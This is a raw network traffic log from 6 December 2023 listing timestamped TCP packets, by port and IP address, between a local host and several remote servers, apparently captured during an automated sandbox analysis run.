Dec 6, 2023 14:52:05.504636049 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:05.504664898 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:05.504718065 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:05.504745007 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:05.504745007 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:05.504789114 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:05.504880905 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:05.504880905 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:05.583719015 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:05.583796978 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:05.583856106 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:05.583856106 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:05.583868980 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:05.583940029 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:05.584131956 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:05.584131956 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:05.584476948 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:05.584495068 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:11.214070082 CET	49721	1203	192.168.2.5	95.142.47.11
Dec 6, 2023 14:52:11.430850983 CET	1203	49721	95.142.47.11	192.168.2.5
Dec 6, 2023 14:52:11.431118011 CET	49721	1203	192.168.2.5	95.142.47.11
Dec 6, 2023 14:52:11.441983938 CET	49721	1203	192.168.2.5	95.142.47.11
Dec 6, 2023 14:52:11.578505039 CET	49722	80	192.168.2.5	62.172.138.67
Dec 6, 2023 14:52:11.658546925 CET	1203	49721	95.142.47.11	192.168.2.5
Dec 6, 2023 14:52:11.662801981 CET	49721	1203	192.168.2.5	95.142.47.11
Dec 6, 2023 14:52:11.761641979 CET	80	49722	62.172.138.67	192.168.2.5
Dec 6, 2023 14:52:11.761734962 CET	49722	80	192.168.2.5	62.172.138.67
Dec 6, 2023 14:52:11.762283087 CET	49722	80	192.168.2.5	62.172.138.67
Dec 6, 2023 14:52:11.879833937 CET	1203	49721	95.142.47.11	192.168.2.5
Dec 6, 2023 14:52:11.924199104 CET	49721	1203	192.168.2.5	95.142.47.11
Dec 6, 2023 14:52:11.949539900 CET	80	49722	62.172.138.67	192.168.2.5
Dec 6, 2023 14:52:11.949637890 CET	49722	80	192.168.2.5	62.172.138.67
Dec 6, 2023 14:52:11.980309010 CET	49721	1203	192.168.2.5	95.142.47.11
Dec 6, 2023 14:52:12.181452990 CET	49721	1203	192.168.2.5	95.142.47.11
Dec 6, 2023 14:52:12.226656914 CET	49723	80	192.168.2.5	172.67.157.197
Dec 6, 2023 14:52:12.256202936 CET	1203	49721	95.142.47.11	192.168.2.5
Dec 6, 2023 14:52:12.321203947 CET	80	49723	172.67.157.197	192.168.2.5
Dec 6, 2023 14:52:12.321398973 CET	49723	80	192.168.2.5	172.67.157.197
Dec 6, 2023 14:52:12.321681976 CET	49723	80	192.168.2.5	172.67.157.197
Dec 6, 2023 14:52:12.415919065 CET	80	49723	172.67.157.197	192.168.2.5
Dec 6, 2023 14:52:12.462619066 CET	1203	49721	95.142.47.11	192.168.2.5
Dec 6, 2023 14:52:12.709703922 CET	80	49723	172.67.157.197	192.168.2.5
Dec 6, 2023 14:52:12.709736109 CET	80	49723	172.67.157.197	192.168.2.5
Dec 6, 2023 14:52:12.709851027 CET	49723	80	192.168.2.5	172.67.157.197
Dec 6, 2023 14:52:12.878318071 CET	49724	80	192.168.2.5	104.21.13.66
Dec 6, 2023 14:52:12.972645998 CET	80	49724	104.21.13.66	192.168.2.5
Dec 6, 2023 14:52:12.972866058 CET	49724	80	192.168.2.5	104.21.13.66
Dec 6, 2023 14:52:12.973052979 CET	49724	80	192.168.2.5	104.21.13.66
Dec 6, 2023 14:52:13.067245960 CET	80	49724	104.21.13.66	192.168.2.5
Dec 6, 2023 14:52:13.122529030 CET	80	49724	104.21.13.66	192.168.2.5
Dec 6, 2023 14:52:13.177053928 CET	49724	80	192.168.2.5	104.21.13.66
Dec 6, 2023 14:52:13.242736101 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:13.429233074 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:13.429560900 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:13.429894924 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:13.615262032 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:13.615293026 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:13.615422964 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:13.616013050 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:13.801419020 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:13.801486015 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:13.801542997 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:13.801584959 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:13.801599979 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:13.801636934 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:13.801644087 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:13.801676989 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:13.801681995 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:13.801713943 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:13.801723957 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:13.801752090 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:13.801759005 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:13.801788092 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:13.801795959 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:13.801826000 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:13.801830053 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:13.801865101 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:13.801875114 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:13.801922083 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:13.948628902 CET	49726	443	192.168.2.5	142.251.111.84
Dec 6, 2023 14:52:13.948678017 CET	443	49726	142.251.111.84	192.168.2.5
Dec 6, 2023 14:52:13.948759079 CET	49726	443	192.168.2.5	142.251.111.84
Dec 6, 2023 14:52:13.949559927 CET	49727	443	192.168.2.5	142.251.16.101
Dec 6, 2023 14:52:13.949640989 CET	443	49727	142.251.16.101	192.168.2.5
Dec 6, 2023 14:52:13.949704885 CET	49727	443	192.168.2.5	142.251.16.101
Dec 6, 2023 14:52:13.950885057 CET	49727	443	192.168.2.5	142.251.16.101
Dec 6, 2023 14:52:13.950906038 CET	443	49727	142.251.16.101	192.168.2.5
Dec 6, 2023 14:52:13.951076984 CET	49726	443	192.168.2.5	142.251.111.84
Dec 6, 2023 14:52:13.951095104 CET	443	49726	142.251.111.84	192.168.2.5
Dec 6, 2023 14:52:13.987004042 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:13.987041950 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:13.987075090 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:13.987091064 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:13.987154961 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:13.987225056 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:13.987277985 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:13.987294912 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:13.987301111 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:13.987302065 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:13.987302065 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:13.987349987 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:13.987349987 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:13.987349987 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:13.987355947 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:13.987375021 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:13.987399101 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:13.987426043 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:13.987449884 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:13.987494946 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:13.987495899 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:13.987514019 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:13.987540960 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:13.987555981 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:13.987624884 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:13.987675905 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:13.987689018 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:13.987706900 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:13.987735987 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:13.987735987 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:13.987751007 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:13.987782001 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:13.987787008 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:13.987817049 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:13.987818003 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:13.987834930 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:13.987854958 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:13.987869024 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.043520927 CET	49729	443	192.168.2.5	104.21.37.216
Dec 6, 2023 14:52:14.043620110 CET	443	49729	104.21.37.216	192.168.2.5
Dec 6, 2023 14:52:14.043720007 CET	49729	443	192.168.2.5	104.21.37.216
Dec 6, 2023 14:52:14.044298887 CET	49729	443	192.168.2.5	104.21.37.216
Dec 6, 2023 14:52:14.044331074 CET	443	49729	104.21.37.216	192.168.2.5
Dec 6, 2023 14:52:14.172439098 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.172466040 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.172506094 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.172514915 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.172523022 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.172539949 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.172563076 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.172563076 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.172563076 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.172568083 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.172578096 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.172590017 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.172601938 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.172606945 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.172621965 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.172842026 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.172868013 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.172868013 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.172878981 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.172890902 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.172905922 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.172908068 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.172920942 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.172938108 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.172943115 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.172960997 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.172977924 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.172979116 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.172992945 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.172996998 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.173022985 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.173023939 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.173042059 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.173057079 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.173058987 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.173073053 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.173091888 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.173110008 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.173116922 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.173132896 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.173151016 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.173162937 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.173163891 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.173181057 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.173197985 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.173211098 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.173224926 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.173240900 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.173263073 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.173279047 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.173324108 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.173355103 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.173358917 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.173371077 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.173387051 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.173388004 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.173403978 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.173418045 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.173423052 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.173449039 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.173451900 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.173484087 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.173494101 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.173510075 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.173527956 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.173544884 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.173556089 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.173587084 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.173614025 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.173625946 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.173657894 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.173674107 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.173688889 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.173703909 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.173706055 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.173732042 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.173748970 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.173758030 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.173785925 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.194581985 CET	443	49727	142.251.16.101	192.168.2.5
Dec 6, 2023 14:52:14.194829941 CET	49727	443	192.168.2.5	142.251.16.101
Dec 6, 2023 14:52:14.194869041 CET	443	49727	142.251.16.101	192.168.2.5
Dec 6, 2023 14:52:14.195689917 CET	443	49727	142.251.16.101	192.168.2.5
Dec 6, 2023 14:52:14.195800066 CET	49727	443	192.168.2.5	142.251.16.101
Dec 6, 2023 14:52:14.196765900 CET	443	49727	142.251.16.101	192.168.2.5
Dec 6, 2023 14:52:14.196827888 CET	49727	443	192.168.2.5	142.251.16.101
Dec 6, 2023 14:52:14.200544119 CET	49727	443	192.168.2.5	142.251.16.101
Dec 6, 2023 14:52:14.200637102 CET	443	49727	142.251.16.101	192.168.2.5
Dec 6, 2023 14:52:14.200783968 CET	49727	443	192.168.2.5	142.251.16.101
Dec 6, 2023 14:52:14.200794935 CET	443	49727	142.251.16.101	192.168.2.5
Dec 6, 2023 14:52:14.230923891 CET	443	49726	142.251.111.84	192.168.2.5
Dec 6, 2023 14:52:14.231329918 CET	49726	443	192.168.2.5	142.251.111.84
Dec 6, 2023 14:52:14.231348038 CET	443	49726	142.251.111.84	192.168.2.5
Dec 6, 2023 14:52:14.232393026 CET	443	49726	142.251.111.84	192.168.2.5
Dec 6, 2023 14:52:14.232476950 CET	49726	443	192.168.2.5	142.251.111.84
Dec 6, 2023 14:52:14.233346939 CET	49726	443	192.168.2.5	142.251.111.84
Dec 6, 2023 14:52:14.233409882 CET	443	49726	142.251.111.84	192.168.2.5
Dec 6, 2023 14:52:14.233660936 CET	49726	443	192.168.2.5	142.251.111.84
Dec 6, 2023 14:52:14.233666897 CET	443	49726	142.251.111.84	192.168.2.5
Dec 6, 2023 14:52:14.243062973 CET	49727	443	192.168.2.5	142.251.16.101
Dec 6, 2023 14:52:14.253138065 CET	443	49729	104.21.37.216	192.168.2.5
Dec 6, 2023 14:52:14.253415108 CET	49729	443	192.168.2.5	104.21.37.216
Dec 6, 2023 14:52:14.253460884 CET	443	49729	104.21.37.216	192.168.2.5
Dec 6, 2023 14:52:14.254933119 CET	443	49729	104.21.37.216	192.168.2.5
Dec 6, 2023 14:52:14.255008936 CET	49729	443	192.168.2.5	104.21.37.216
Dec 6, 2023 14:52:14.255985975 CET	49729	443	192.168.2.5	104.21.37.216
Dec 6, 2023 14:52:14.256088972 CET	443	49729	104.21.37.216	192.168.2.5
Dec 6, 2023 14:52:14.256217003 CET	49729	443	192.168.2.5	104.21.37.216
Dec 6, 2023 14:52:14.256241083 CET	443	49729	104.21.37.216	192.168.2.5
Dec 6, 2023 14:52:14.275062084 CET	49726	443	192.168.2.5	142.251.111.84
Dec 6, 2023 14:52:14.307048082 CET	49729	443	192.168.2.5	104.21.37.216
Dec 6, 2023 14:52:14.358463049 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.358491898 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.358541965 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.358558893 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.358575106 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.358592033 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.358608007 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.358625889 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.358643055 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.358654976 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.358659029 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.358654976 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.358654976 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.358654976 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.358675957 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.358692884 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.358705997 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.358705997 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.358705997 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.358710051 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.358726025 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.358726025 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.358727932 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.358741999 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.358743906 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.358762026 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.358764887 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.358778954 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.358784914 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.358795881 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.358800888 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.358812094 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.358814001 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.358834028 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.358838081 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.358848095 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.358850956 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.358867884 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.358870983 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.358884096 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.358886003 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.358900070 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.358901024 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.358917952 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.358923912 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.358933926 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.358935118 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.358952999 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.358953953 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.358968973 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.358973026 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.358985901 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.358985901 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359015942 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.359029055 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.359054089 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359071016 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359088898 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359102011 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.359107018 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359113932 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.359124899 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.359141111 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359144926 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.359183073 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.359189034 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359205961 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359230995 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.359236002 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359244108 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.359252930 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359278917 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359286070 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.359297037 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359313965 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359318018 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.359318018 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.359330893 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359343052 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.359349012 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359364033 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.359371901 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.359416008 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.359427929 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359446049 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359462023 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359472990 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.359479904 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359483004 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.359502077 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.359510899 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.359555960 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359572887 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359590054 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359605074 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.359611034 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.359621048 CET	80	49725	159.223.29.40	192.168.2.5
